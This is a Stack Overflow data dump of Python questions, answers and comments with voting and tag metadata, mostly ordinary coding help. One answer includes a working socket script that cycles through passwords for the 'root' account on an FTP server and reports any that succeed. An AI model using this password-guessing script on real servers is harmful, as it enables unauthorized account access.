has comment: http://stackoverflow.com/comment/81020385
has body: It seems like you're adding separate JSON structures to your file, and that's fine - that's a JSON line file. However, json.dump doesn't automatically add newline delimiters after your data. You'll have to do it yourself. with open(...) as outfile: json.dump(jsontxt, outfile) outfile.write('\n') When validating your JSON, validate each line separately. If you want to merge your JSONs into one, you'd accumulate everything in a loop and dump at the end. It'd be something like this: data = [] for item in jsonList: ... # do something data.append(newItem) # newItem is your final json sub-structure with open(..., 'w', encoding='utf-8') as f: json.dump(data, f)
has comment: http://stackoverflow.com/comment/81019828

http://stackoverflow.com/q/46944335
has answer: http://stackoverflow.com/a/46944396
has comment: http://stackoverflow.com/comment/80836093
score: -1
type: Question
answer count: 2
tagged with: function
upvote count: 0
possible better answer: http://stackoverflow.com/a/46944649
tagged with: python
has answer: http://stackoverflow.com/a/46944649
downvote count: 1
has comment: http://stackoverflow.com/comment/80836159
has comment: http://stackoverflow.com/comment/80836138
favorite count: 0
accepted answer: http://stackoverflow.com/a/46944396
type: AnsweredQuestion
has body: So I made the following function: def marble_stats(a): big_box=a//48 small_box=(a-big_box*48)//8 excess=a-((big_box*48)+(small_box*8)) cash=26*big_box+4*small_box-excess*2 return big_box,small_box,excess,cash final=marble_stats(503) print(final) When I execute I get: (0, 0, 7, -14) But what I need is (0..0..7..-14) to be printed. I tried cnoverting the variables into strings and concatenating them with ".." but the commas don't seem to go away. How do I get around this?
has title: How do I add ".." between variables in a function?

http://stackoverflow.com/comment/80884212
type: Comment
type: QuestionComment
has text: Is it possible to write a python script using jython only?
comment on: http://stackoverflow.com/q/46968333
score: 0

http://stackoverflow.com/a/46997515
type: Answer
has comment: http://stackoverflow.com/comment/80966674
answers question: http://stackoverflow.com/q/46997184
score: -1
has comment: http://stackoverflow.com/comment/80968191
upvote count: 0
has body: There are libraries available for FTP you can use them easily. If you still want to achieve it with socket module try below. You are not passing username and password properly import socket import re import sys def connect(username, password): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "Trying to " + username + ":" + password s.connect(('10.2.16.15', 21)) data = s.recv(1024) s.send(username + '\r\n') data = s.recv(1024) s.send( password + '\r\n') data = s.recv (3) print data s.send('QUIT\r\n') s.close() return data username = "root" passwords =["lade", "whopee", "oho"] for password in passwords: attempt = connect(username, password) if attempt=="230": print "Password found: " + password sys.exit(0) output Trying to root:lade 530 Trying to root:whopee 530 Trying to root:oho 530
downvote count: 1
has comment: http://stackoverflow.com/comment/80952426

http://stackoverflow.com/comment/81013536
score: 1
type: QuestionComment
type: Comment
has text: try `print('{:g}'.format(a))`
comment on: http://stackoverflow.com/q/47033626

http://stackoverflow.com/a/46995507
type: Answer
answers question: http://stackoverflow.com/q/46989804
has body: I don't know if you have considered this yet, but it might be better for you to do this in an object orientated way. So, have the hero or the player as the class and his attributes being gold, health.etc. Then you can easily have a function that you can run after a fight or interaction, to check to see if the player is alive or not
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46989804
score: 0

http://stackoverflow.com/comment/80929372
type: AnswerComment
has text: Thanks for the help. when i login though it says account not found x3 then says welcome back , username, and then another 'account not found'
type: Comment
score: 0
comment on: http://stackoverflow.com/a/46991056

http://stackoverflow.com/a/46984333
has comment: http://stackoverflow.com/comment/80916873
has comment: http://stackoverflow.com/comment/80917294
has comment: http://stackoverflow.com/comment/80916816
has comment: http://stackoverflow.com/comment/80916881
downvote count: 0
has comment: http://stackoverflow.com/comment/80916761
has body: Since I am using the index of the numbers I can't use methods such as random.sample Sure you can: &gt;&gt;&gt; import random &gt;&gt;&gt; my_list = [0]*10 &gt;&gt;&gt; my_list [0, 0, 0, 0, 0, 0, 0, 0, 0, 0] &gt;&gt;&gt; idx = list(range(len(my_list))) &gt;&gt;&gt; idx [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] &gt;&gt;&gt; s = random.sample(idx, 5) &gt;&gt;&gt; s [4, 0, 5, 7, 1] &gt;&gt;&gt; for i in s: ... my_list[i] = 99 ... &gt;&gt;&gt; my_list [99, 99, 0, 0, 99, 99, 0, 99, 0, 0] Here, just do something like: &gt;&gt;&gt; NUMCARDS = 52 &gt;&gt;&gt; cardLoc = [0]*52 &gt;&gt;&gt; s = random.sample(range(NUMCARDS), 10) &gt;&gt;&gt; for i in s[:5]: ... cardLoc[i] = 1 ... &gt;&gt;&gt; for i in s[5:]: ... cardLoc[i] = 2 ... Now I'm just printing the positions: &gt;&gt;&gt; for i in range(NUMCARDS): ... if cardLoc[i] == 1: ... print(i) ... 10 24 25 34 41 &gt;&gt;&gt; for i in range(NUMCARDS): ... if cardLoc[i] == 2: ... print(i) ... 14 23 28 49 50 &gt;&gt;&gt; Or, loading up your constants: &gt;&gt;&gt; NUMCARDS = 52 &gt;&gt;&gt; DECK = 0 &gt;&gt;&gt; PLAYER = 1 &gt;&gt;&gt; COMP = 2 &gt;&gt;&gt; &gt;&gt;&gt; cardLoc = [0] * NUMCARDS &gt;&gt;&gt; suitName = ("hearts", "diamonds", "spades", "clubs") &gt;&gt;&gt; rankName = ("Ace", "Two", "Three", "Four", "Five", "Six", "Seven", ... "Eight", "Nine", "Ten", "Jack", "Queen", "King") &gt;&gt;&gt; playerName = ("deck", "player", "computer") &gt;&gt;&gt; &gt;&gt;&gt; s = random.sample(range(NUMCARDS), 10) &gt;&gt;&gt; for i in s[:5]: ... cardLoc[i] = PLAYER ... &gt;&gt;&gt; for i in s[5:]: ... cardLoc[i] = COMP ... &gt;&gt;&gt; def showHand(person): ... for i in range(NUMCARDS): ... if cardLoc[i] == person: ... print(rankName[i % 13] + suitName[int(i / 13)]) ... &gt;&gt;&gt; showHand(PLAYER) Threehearts Ninehearts Sixdiamonds Ninediamonds Twoclubs &gt;&gt;&gt; showHand(COMP) Sevenhearts Sevendiamonds Sixspades Queenspades Kingclubs
has comment: http://stackoverflow.com/comment/80916548
has comment: http://stackoverflow.com/comment/80916837
has comment: http://stackoverflow.com/comment/80916834
has comment: http://stackoverflow.com/comment/80926689
has comment: http://stackoverflow.com/comment/80916933
has comment: http://stackoverflow.com/comment/80916811
answers question: http://stackoverflow.com/q/46984302
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/80916753
has comment: http://stackoverflow.com/comment/80916442
has comment: http://stackoverflow.com/comment/80916786
type: Answer
has comment: http://stackoverflow.com/comment/80916821
has comment: http://stackoverflow.com/comment/80916720

http://stackoverflow.com/comment/80865121
type: Comment
type: QuestionComment
has text: Do you understand now @tobias_k?
comment on: http://stackoverflow.com/q/46958547
score: 0

http://stackoverflow.com/comment/80932035
comment on: http://stackoverflow.com/q/46992671
type: Comment
type: QuestionComment
has text: If you see the matrix s, there are s12=s21, s13=s31, s14=s41, s23=s32, s24=s42, and s34=s43 that are filled by list b.
score: 0

http://stackoverflow.com/comment/80906088
type: Comment
comment on: http://stackoverflow.com/q/46979250
type: QuestionComment
score: 0
has text: I cant quite understand what is going on in that problem :c, it does look very similar however

http://stackoverflow.com/a/47024140
score: 3
answers question: http://stackoverflow.com/q/47024033
upvote count: 3
downvote count: 0
has body: In [45]: df'a'.T Out[45]: 0 1 2 3 4 5 a 601 602 603 604 605 606 or In [39]: df.set_index('b').T.rename_axis(None, axis=1) Out[39]: 1 2 3 4 5 6 a 601 602 603 604 605 606
type: Answer

http://stackoverflow.com/comment/80762244
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46907775
score: 7
has text: what's your logic behind constructing the new list?

http://stackoverflow.com/q/46942681
tagged with: python
has answer: http://stackoverflow.com/a/46942808
tagged with: matlab
tagged with: combinations
has body: Let P=[P1, P2, ..., Pk] be k positive integers and let T be a positive integer. I would like to generate all combinations that sum up to at most T. That is, sum(x[i] * P[i] for i in 1:k) &lt;= T where x[i] = 1 iff i is chosen in the combination. Example. Let P=[1, 2, 3] and T=4. The combinations should be: 1 2 3 1, 2 1, 3 2, 3 So only the combination 1, 2, 3 cannot be there because 1 + 1 + 3 = 5 &gt; 4. I thought of generating all combinations first and then start verifying the constraint sum(x[i] * P[i] for i in 1:k) &lt;= T. But this approach could be more time consuming than other clever approaches. How can we generate such combinations? NB. If you know any function in Python or Matlab that can be used to generate such combinations, you can provide it. Thank you.
score: 0
has comment: http://stackoverflow.com/comment/80833159
has comment: http://stackoverflow.com/comment/80833203
linked to: http://stackoverflow.com/q/41284951
answer count: 1
linked to: http://stackoverflow.com/q/4632322
type: Question
has comment: http://stackoverflow.com/comment/80833045
type: UnansweredQuestion
tagged with: algorithm
has comment: http://stackoverflow.com/comment/80832942
has title: How to find all combinations that sum up to at most a constant?

http://stackoverflow.com/comment/80850322
type: AnswerComment
has text: thar's strange, but restart PC didn't help
comment on: http://stackoverflow.com/a/46949360
type: Comment
score: 0

http://stackoverflow.com/comment/80956223
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47004352
score: 0
has text: @VPfB Thanks for noting. I'll just add that to the exceptions to watch for.

http://stackoverflow.com/a/47052071
accepted answer of: http://stackoverflow.com/q/47051918
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47051918
has body: There are a lot of ways to do it. Configuration file You can store configuration in separate file in YAML, JSON, INI or any other format. There are a lot of tools and libraries for parsing and loading such configurations. Take a look on this article. Such approach is good for rarely changed configuration like services credentials, but it's not really good for configuration that changes very often. Environment variables Also, you can store configuration inside environment variables. Take a look on py-env-config. You can hard-code default configuration values but allow user to override them using environment variables. Script arguments If you are writing a script, you can always pass all configuration as command-line arguments/options. Manuals. Such approach is good of configs that changes very often (almost every script execution). EDIT I'll suggest you to use configuration file for this constants.
type: Answer
has comment: http://stackoverflow.com/comment/81051868
score: 0

http://stackoverflow.com/q/47000735
type: Question
has comment: http://stackoverflow.com/comment/81036866
has title: ImportError: No module named cloud at App Engine App
tagged with: google-cloud-vision
has comment: http://stackoverflow.com/comment/80948457
tagged with: google-app-engine
has comment: http://stackoverflow.com/comment/88453001
tagged with: python
has comment: http://stackoverflow.com/comment/80957090
has comment: http://stackoverflow.com/comment/81037163
has comment: http://stackoverflow.com/comment/80992121
upvote count: 2
score: 2
answer count: 0
has comment: http://stackoverflow.com/comment/80948062
has body: I try to deploy my python script at app engine but face with an error: "ImportError: No module named cloud". I did everything like in Installing a third-party library manual. But it doe not work :( So, what I have: 1) app.yaml: runtime: python27 api_version: 1 threadsafe: false handlers: - url: /.* script: main.py 2) appengine_config.py # appengine_config.py from google.appengine.ext import vendor # Add any libraries install in the "lib" folder. vendor.add('lib') 3) requirements.txt googleapis-common-protos==1.5.3 google-cloud-vision==0.27.0 google-gax==0.15.15 google-resumable-media==0.3.1 google-api-python-client==1.6.4 google-auth==1.1.1 4) lib folders with all libs from Used command: pip install -t lib -r requirements.txt 5) main.py that use google cloud vision lib. from google.cloud import vision # Imports the Google Cloud client library from google.cloud.vision import types # Imports the Google Cloud client library import os def detect_labels_uri(uri): # Setup Credentials os.environ["GOOGLE_APPLICATION_CREDENTIALS"] = 'my_servive_acc_key.json' def detect_labels_uri(uri): client = vision.ImageAnnotatorClient() image = types.Image() image.source.image_uri = uri response = client.label_detection(image=image) labels = response.label_annotations print('Labels:') for label in labels: print 'Content-Type: text/plain' print '' print(label.description) try: detect_labels_uri('https://i.ytimg.com/vi/gqYlS_r8I-Y/maxresdefault.jpg') except: print 'Content-Type: text/plain' print '' print 'Oops! That was no valid URL. Try again...' Error: Traceback (most recent call last): (/base/data/home/runtimes/python27_experiment/python27_lib/versions/1/google/appengine/runtime/cgi.py:122) File "/base/data/home/apps/h~test-184307/20171029t190420.405148744830706371/main.py", line 7, in &lt;module&gt; from google.cloud import vision # Imports the Google Cloud client library ImportError: No module named cloud Could you help me to understand where I was wrong?
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/80948129
favorite count: 0

http://stackoverflow.com/comment/80910335
comment on: http://stackoverflow.com/q/46938786
has text: The block "Delay_amostra_sync" stores in a buffer the signal of input until the counter reaches a value especificated by user. This will cause a delay that is enough to the "Wisun_process" block to have indentificate a channel. So after my filter is configred rigtly i can demodulate my packet of data.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47023036
score: 0
answers question: http://stackoverflow.com/q/46982325
has body: While the above answer provided worked, I eventually arrived at this code to do what I wanted in bs4. for item in soup.select("sup, div.publisher-info-bottom.with-single"): item.decompose() I then used the below to get the text and format it the way I wanted it. verseBody = soup.select("div.passage-text p") formedVerse = "" for p in verseBody: formedVerse += p.get_text() + "\n\n"
type: Answer

http://stackoverflow.com/comment/80786282
comment on: http://stackoverflow.com/a/46919137
has text: Thank you so much for your prompt response Juanpa.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/90305263
type: AnswerComment
comment on: http://stackoverflow.com/a/47779061
score: 1
has text: To be specific: I think it will fail if the data's frequency intervals are not consistent, i.e. minute-periodicity but skips random minutes. In that case the option is to resample, but that potentially blows up space complexity
type: Comment

http://stackoverflow.com/q/47023523
has answer: http://stackoverflow.com/a/47024944
accepted answer: http://stackoverflow.com/a/47024944
type: Question
tagged with: django
tagged with: python
linked to: http://stackoverflow.com/q/420703
type: AnsweredQuestion
score: 0
tagged with: filter
answer count: 1
has title: Django - filter with multiple para
has body: I am trying to create a filter with multiple parameters. I found the first answer of this link is useful, so took his idea. However, I don't know how to create a string variable containing all values. Here is my code: {% with amount_comments|to_string+","+limit_amount_comments|to_string as args %} {% if page_nr|page_not_over_amount:args %} Next Page {% endif %} {% endwith %} and this is to_string filter: @register.filter(name='to_string') def to_string(value): return str(value) then page_not_over_amount filter using that args: @register.filter(name='page_not_over_amount') def page_not_over_amount(page_nr, args): if args is None: return False else: arg_list = [arg.strip() for arg in args.split(',')] comment_amount = arg_list[0] comment_limit = arg_list[1] if page_nr*comment_limit < comment_amount-comment_limit: return True else: return False But I get this exception: Could not parse some characters: amount_comments|to_string|+","+limit_amount_comments||to_string Thanks in advance!

http://stackoverflow.com/comment/80828433
has text: this answer should be the verified one
score: 1
type: Comment
comment on: http://stackoverflow.com/a/46940488
type: AnswerComment

http://stackoverflow.com/comment/80972204
type: QuestionComment
has text: @roganjosh Thanks! This answered my question
comment on: http://stackoverflow.com/q/47012374
score: 1
type: Comment

http://stackoverflow.com/q/46943569
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/46943620
has answer: http://stackoverflow.com/a/46943620
accepted answer: http://stackoverflow.com/a/46943602
has title: Replace a string inside a dictionary that's inside a list of dictionaries (Tweets from Twitter)
tagged with: python
score: -1
tagged with: twitter
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80834591
type: AnsweredQuestion
downvote count: 2
answer count: 2
tagged with: for-loop
upvote count: 1
has answer: http://stackoverflow.com/a/46943602
has body: I have a list of tweets I collected from the Twitter API. Each tweet in the list is in the form of a dictionary. I want to change all of the strings 'en-gb' within this file to 'en'. Here is a list of two of the tweets: twitter_tweets = [{'created_at': 'Wed Oct 18 22:20:30 +0000 2017', 'id': 920776631102214144, 'user': {'id': 119116331, 'statuses_count': 32796, 'verified': False, 'lang': 'en-'}, 'retweet_count': 0, 'favorite_count': 0} {'created_at': 'Wed Oct 17 12:20:36 +0000 2017', 'id': 920776631106514144, 'user': {'id': 119159331, 'statuses_count': 32796, 'verified': False, 'lang': 'en-gb'}, 'retweet_count': 1, 'favorite_count': 2}] Note the location of the "en-gb" string: While each tweet is a dictionary, the key 'user' has a secondary dictionary as its value. One of the keys inside that secondary dictionary is 'lang' (Language) and, its value is sometimes 'en-gb' ("British English"). I want to change all of the values 'en-gb' to 'en'. I tried this, but to no avail: for item in enumerate(twitter_tweets): for item == 'en-gb': item = 'en'

http://stackoverflow.com/q/46921222
has comment: http://stackoverflow.com/comment/80790343
has answer: http://stackoverflow.com/a/46922708
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80790509
has comment: http://stackoverflow.com/comment/80790395
has comment: http://stackoverflow.com/comment/80790402
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/80791484
has title: DJango giving me an error when I use user.isAuthenticated
score: 0
has comment: http://stackoverflow.com/comment/80790412
has comment: http://stackoverflow.com/comment/80791504
answer count: 1
has comment: http://stackoverflow.com/comment/80790489
has body: I am working on getting my Clubs website back up and running after our previous coder left. He left nothing behind so now when I run it, Django gives me the error: File "/home/serverad/django14_project/my_django15_project/tsa/events/views.py", line 112, in custom500 return render_template('errors/500.mako', request, parent='../base.mako' if request.user.is_authenticated() else '../layout.mako') AttributeError: 'WSGIRequest' object has no attribute 'user' I have no idea what's wrong seeing as though our last programmer left no notes behind.
has comment: http://stackoverflow.com/comment/80790379
has comment: http://stackoverflow.com/comment/80790540
type: Question
has comment: http://stackoverflow.com/comment/80790563

http://stackoverflow.com/a/46961440
has comment: http://stackoverflow.com/comment/80870604
score: 1
has comment: http://stackoverflow.com/comment/80870400
has comment: http://stackoverflow.com/comment/80870331
has body: NameError exception is raised because global variable "geneDict" is not defined in python script. See https://docs.python.org/2/library/exceptions.html#exceptions.NameError
has comment: http://stackoverflow.com/comment/80870470
has comment: http://stackoverflow.com/comment/80870299
downvote count: 0
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/80870429
answers question: http://stackoverflow.com/q/46961308
has comment: http://stackoverflow.com/comment/80871097

http://stackoverflow.com/a/46945162
upvote count: 3
accepted answer of: http://stackoverflow.com/q/46940733
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80837699
answers question: http://stackoverflow.com/q/46940733
has body: It is generally safer to create a new collection when looping to modify it. Extend to a new list, e.g. words_: ... words_ = [] for i in range(2, 5): new = list(map(lambda x: " ".join(x), nwise(words,i))) words_.extend(new) print(words_) Alternatively, extend the existing words list with a new list of desired results. Replace: ... for i in range(2,5): new = list(map(lambda x: " ".join(x), nwise(words,i))) words.extend(new) ... with ... new = [" ".join(x) for i in range(2, 5) for x in nwise(words,i)] words.extend(new) ...
has comment: http://stackoverflow.com/comment/80837756
type: Answer
score: 3

http://stackoverflow.com/a/46919349
answers question: http://stackoverflow.com/q/46918966
type: Answer
score: 0
has body: map(lambda b:sum(b)/float(len(b)), map(lambda y:filter(lambda a:a!=6, y), zip(*x)))

http://stackoverflow.com/comment/80852533
has text: found a duplicate myself
comment on: http://stackoverflow.com/q/46952768
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80819400
comment on: http://stackoverflow.com/a/46935791
has text: Although here you have arrays with two date objects where the question refers to a single string per range.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47044100
answer count: 0
upvote count: 2
linked to: http://stackoverflow.com/q/9565542
downvote count: 2
has comment: http://stackoverflow.com/comment/81035606
tagged with: multithreading
tagged with: asynchronous
tagged with: celery
favorite count: 0
type: Question
type: UnansweredQuestion
has title: How to have the access of the shared memory of different workers
has comment: http://stackoverflow.com/comment/81035586
tagged with: python
has comment: http://stackoverflow.com/comment/81035479
has body: Share memory areas between celery workers on one machine In this post the author demonstrates how to share the dictionary among the workers. Thanks to him I have achieved this. But now I want to read that shared memory from my main.py. I have main.py. I have generatereport.py which generates reports and I added the shared dictionary here. All the workers now have the access to the same dictionary. Now how can I access this shared dictionary from main. main.py from report import reportgen from flask import Flask, request, send_from_directory, url_for app = Flask(__name__) @ns.route('/GenerateReport') @ns.doc('Generate PDF') class GeneratePdf(Resource): def get(self): task = generate.delay(myDict, uuid) return {"request":"made"} @ns.route('/pdfstatus') @ns.doc('status') class statusPdf(Resource): def get(self): print(report.serviceStatusDict) cel.py from celery import Celery from report import reportgen app = Celery('tasks', broker='pyamqp://guest@localhost//') @app.task def generate(myDict, name): data = generateJson(myDict) pdfgen.serviceStatusDict[name] = "Rest Performed" reportgen(data, name) report.py from multiprocessing import Manager manag = Manager() serviceLock = manag.Lock() serviceStatusDict = manag.dict() def reportgen(): serviceStatusDict["uuid"] = "Generated the report" //....//
score: 0
has comment: http://stackoverflow.com/comment/81035516

http://stackoverflow.com/q/47048278
has answer: http://stackoverflow.com/a/65618110
has answer: http://stackoverflow.com/a/49169369
has answer: http://stackoverflow.com/a/63322963
has answer: http://stackoverflow.com/a/62358081
answer count: 7
type: Question
has title: jupyterlab - change styling - font, font size
tagged with: jupyter-lab
favorite count: 0
has body: I recently updated to the most recent version of JupyterLab (0.28.12). I'm on Windows. I've tried adjusting the variables.css file located in \Lib\site-packages\jupyterlab\themes\@jupyterlab\theme-light-extension of my Miniconda/Anaconda folder. I mainly want to change the font family and size, which I've tried using the variables.css file. However, I can't see any changes. I went to the extreme point of deleting both theme folders, but still I can change themes without a problem through the Lab interface. Where are the JupyterLab theme .css files located? Or how can I find them? I've searched for css files and the themes sub folder seems to be the only location for them. I can't seem to find any in my user directory either c:\Users\User\.jupyter where the .css files were for Jupyter Notebook were located. Thanks!
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/75767962
tagged with: python
has answer: http://stackoverflow.com/a/54520440
score: 25
upvote count: 25
tagged with: css
has answer: http://stackoverflow.com/a/74266621
downvote count: 0

http://stackoverflow.com/a/46912032
has body: Here is your problem: import datetime from dateutil.parser import * from dateutil.tz import * from datetime import * # &lt;&lt;&lt;&lt; problems First you are importing datetime and then you are importing everything from datetime. Be explicit, and only import what you need. from datetime import datetime Then you can use it as datetime.now or whatever methods you may need. As a rule of thumb, never import *. It causes exactly these sorts of issues.
type: Answer
upvote count: 4
score: 4
accepted answer of: http://stackoverflow.com/q/46911718
answers question: http://stackoverflow.com/q/46911718
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/46930746
tagged with: kerberos
type: AnsweredQuestion
has title: authGSSServerInit extremely slow
downvote count: 0
has answer: http://stackoverflow.com/a/47068661
accepted answer: http://stackoverflow.com/a/47068661
has comment: http://stackoverflow.com/comment/80855505
answer count: 1
has body: I am implementing a single sign-on mechanism for a Flask server running on Ubuntu 16.04 that authenticates users against an Active Directory server in the Windows domain. When I run the example app from https://github.com/mkomitee/flask-kerberos/tree/master/example on the Flask server, I can access the Flask server from a client computer that's logged in, the server correctly negotiates access and returns the name of the logged in user. However, this is very slow, taking about two minutes. Following the steps of what happens in flask-kerberos, I found that the process stalls at the authGSSServerInit step. I can reproduce the behaviour using the following minimal progam: import kerberos rc, state = kerberos.authGSSServerInit("HTTP@flaskserver.mydomain.local") The initalisation finishes successfully, but it takes about two minutes again. I have successfully registered the service principal (HTTP/flaskserver.mydomain.local) on the AD server and exported the keytab to the Flask server. I can get a ticket granting ticket on the Flask server using kinit -k HTTP/flaskserver.mydomain.local. I can also verify passwords in Python using the kerberos library: import kerberos kerberos.checkPassword('username', 'password', 'HTTP/flaskserver.mydomain.local', 'MYDOMAIN.LOCAL' This runs correctly and almost instantly. What could be the cause for the delay in running kerberos.authGSSServerInit? How do I debug this?
favorite count: 0
type: Question
tagged with: single-sign-on
tagged with: linux
tagged with: python
tagged with: active-directory
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/81085036

http://stackoverflow.com/a/46981739
has comment: http://stackoverflow.com/comment/80913163
has body: The quotes around arguments: python testScript.py "--final fromTo $f1:$f2 -o res$i.txt" are causing the complete string to be passed as a single argument with spaces to Python script. By removing quotes (or at least putting them around words): python testScript.py --final fromTo "$f1:$f2" -o "res$i.txt" the sys.argv will be populated correctly, and your argument parser will work (note that argparse uses sys.argv by default). As a little proof, test.py script: #!/usr/bin/env python import sys print(sys.argv) Now try: $ python test.py 1 2 3 ['test.py', '1', '2', '3'] $ python test.py "1 2 3" ['test.py', '1 2 3'] Unrelated to this, but for completeness' sake, your bash script can be simplified by using the mapfile built-in (aka readarray, available since bash 4.0): #!/bin/bash mapfile -t periods &lt;inFile.txt cnt="${#periods[@]}" echo "Number of Periods is: $cnt" for ((i=0; i&lt;cnt; i++)); do python testScript.py --final fromTo "${period[$i]}:${period[$i+1]}" -o "res$i.txt" done
has comment: http://stackoverflow.com/comment/80919099
score: 2
accepted answer of: http://stackoverflow.com/q/46981569
has comment: http://stackoverflow.com/comment/80923533
upvote count: 2
answers question: http://stackoverflow.com/q/46981569
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80946218
has comment: http://stackoverflow.com/comment/80929987
has comment: http://stackoverflow.com/comment/80930534
has comment: http://stackoverflow.com/comment/80912947
has comment: http://stackoverflow.com/comment/80946360
type: Answer

http://stackoverflow.com/q/47045214
has body: Say I want to write a unit test for the following Python function: def multiply(dict_1, dict_2): result = {} for (key_1, key_2) in dict_1: result[(key_1, key_2)] = dict_1[(key_1, key_2)] * dict_2[key_2] return result dict_1 and dict_2 are outputs from other functions. They're not long, but they look kinda complex: dict_1 = { ('Nietzsche', 'USR1'): Decimal('0E-8'), ('Nietzsche', 'PKILL'): Decimal('1.49177787'), ('Nietzsche', 'RM'): Decimal('10971.22182930'), ('Nietzsche', 'LS'): Decimal('4.44771349'), ('Nietzsche', 'NCDU'): Decimal('5.14671343'), ('Nietzsche', 'SUDO'): Decimal('9.49572673'), ('Nietzsche', 'PS'): Decimal('0.57328494'), ('Hegel', 'USR1'): Decimal('0E-8'), ('Marx', 'NCDU'): Decimal('0E-8'), ('Marx', 'SUDO'): Decimal('0E-8'), ('Marx', 'PS'): Decimal('0E-8'), ('Marx', 'LS'): Decimal('0E-8'), ('Marx', 'PKILL'): Decimal('0E-8') } dict_2 = { 'USR1': Decimal('6357.48'), 'PKILL': Decimal('307.277'), 'RM': Decimal('88.232'), 'LS': Decimal('71.1787'), 'NCDU': Decimal('0.0389333'), 'SUDO': Decimal('199.979'), 'PS': Decimal('307.277') } The output of this function for these specific parameters also looks kinda complex: { ('Nietzsche', 'USR1'): Decimal('0E-10'), ('Nietzsche', 'PKILL'): Decimal('458.38902855999'), ('Nietzsche', 'RM'): Decimal('968012.84444279760'), ('Nietzsche', 'LS'): Decimal('316.582464190663'), ('Nietzsche', 'NCDU'): Decimal('0.200378537984219'), ('Nietzsche', 'SUDO'): Decimal('1898.94593573867'), ('Nietzsche', 'PS'): Decimal('176.15727650838'), ('Hegel', 'USR1'): Decimal('0E-10'), ('Marx', 'NCDU'): Decimal('0E-15'), ('Marx', 'SUDO'): Decimal('0E-11'), ('Marx', 'PS'): Decimal('0E-11'), ('Marx', 'LS'): Decimal('0E-12'), ('Marx', 'PKILL'): Decimal('0E-11') } So I'm faced with two options for the unit test. Number one is to have realistic data by copy-pasting everything: def test_multiply_1(self): dict_1 = { ('Nietzsche', 'USR1'): Decimal('0E-8'), ('Nietzsche', 'PKILL'): Decimal('1.49177787'), ('Nietzsche', 'RM'): Decimal('10971.22182930'), ('Nietzs…
has title: Should Unit Test data be simplified or realistic?
tagged with: python
has answer: http://stackoverflow.com/a/47045304
accepted answer: http://stackoverflow.com/a/47045304
score: 2
upvote count: 2
type: AnsweredQuestion
downvote count: 0
answer count: 1
tagged with: unit-testing
favorite count: 0
type: Question

http://stackoverflow.com/q/46941712
has answer: http://stackoverflow.com/a/46941752
score: 2
has comment: http://stackoverflow.com/comment/80830846
has answer: http://stackoverflow.com/a/46941788
has comment: http://stackoverflow.com/comment/81755424
linked to: http://stackoverflow.com/q/41408791
has comment: http://stackoverflow.com/comment/81043731
tagged with: unicode
answer count: 4
favorite count: 0
has comment: http://stackoverflow.com/comment/80830957
has comment: http://stackoverflow.com/comment/80830795
type: Question
tagged with: python-3.x
has body: Please don't mark my question as already answered, because in all of the questions on stackoverflow or in the Unicode HOWTO I can't figure out how to print the overline or U+203E character in Python 3. Can someone please explain in baby programmer language how to print unicode characters like this one? I have tried some things, but to be honest I had no idea what I was doing. I am working Kubuntu xenial (16.04). When I try to print the character I get a UnicodeEncodeError. My question would be, how to work around this error? EDIT 1: Problem located I have now figured out my locale is set to POSIX, which would be ASCII encoding. I will try to set it to UTF-8 encoding. EDIT 2: Still no solution I have found out what I need to change, I just haven't found out how to. For anyone with the same issue, there's a comment with a link to a post where a similar problem is solved. EDIT 3: Final answer Here is a link to an askubuntu forum where I asked how to edit my /etc/default/locale file. Turns out one command in the Linux shell was enough. For me a lot of stuff doesn't work, but this command allowed me to set my locale to en_US.UTF-8: sudo /usr/sbin/update-locale LANG=en_US.UTF-8. After rebooting my OS, the settings had applied and my locale was changed. Now I don't need the overline character anymore, because I have learned to work with graphics libraries, but I have had multiple problems because of my locale. Thanks to everyone for the advice!
has answer: http://stackoverflow.com/a/46942105
has comment: http://stackoverflow.com/comment/80831031
has title: How to print overline character in python 3?
upvote count: 2
tagged with: locale
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80830922
downvote count: 0
has answer: http://stackoverflow.com/a/62909160
tagged with: python
has comment: http://stackoverflow.com/comment/80830761
has comment: http://stackoverflow.com/comment/80830703

http://stackoverflow.com/comment/80932656
type: AnswerComment
comment on: http://stackoverflow.com/a/46990147
score: 0
type: Comment
has text: How to generalize this answer for big datasets?

http://stackoverflow.com/comment/80791574
type: AnswerComment
has text: sorry, I dont understand where you want me to put it exactly
comment on: http://stackoverflow.com/a/46921442
score: 0
type: Comment

http://stackoverflow.com/q/46982394
has comment: http://stackoverflow.com/comment/80912721
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80912267
type: UnansweredQuestion
score: -2
has comment: http://stackoverflow.com/comment/80912814
has title: Counting and comparing some repeatedly strings appearances between other strings in Python 3
tagged with: python
has comment: http://stackoverflow.com/comment/80913341
has comment: http://stackoverflow.com/comment/80912682
has answer: http://stackoverflow.com/a/46982508
has comment: http://stackoverflow.com/comment/80913653
has comment: http://stackoverflow.com/comment/80913030
upvote count: 0
downvote count: 2
answer count: 1
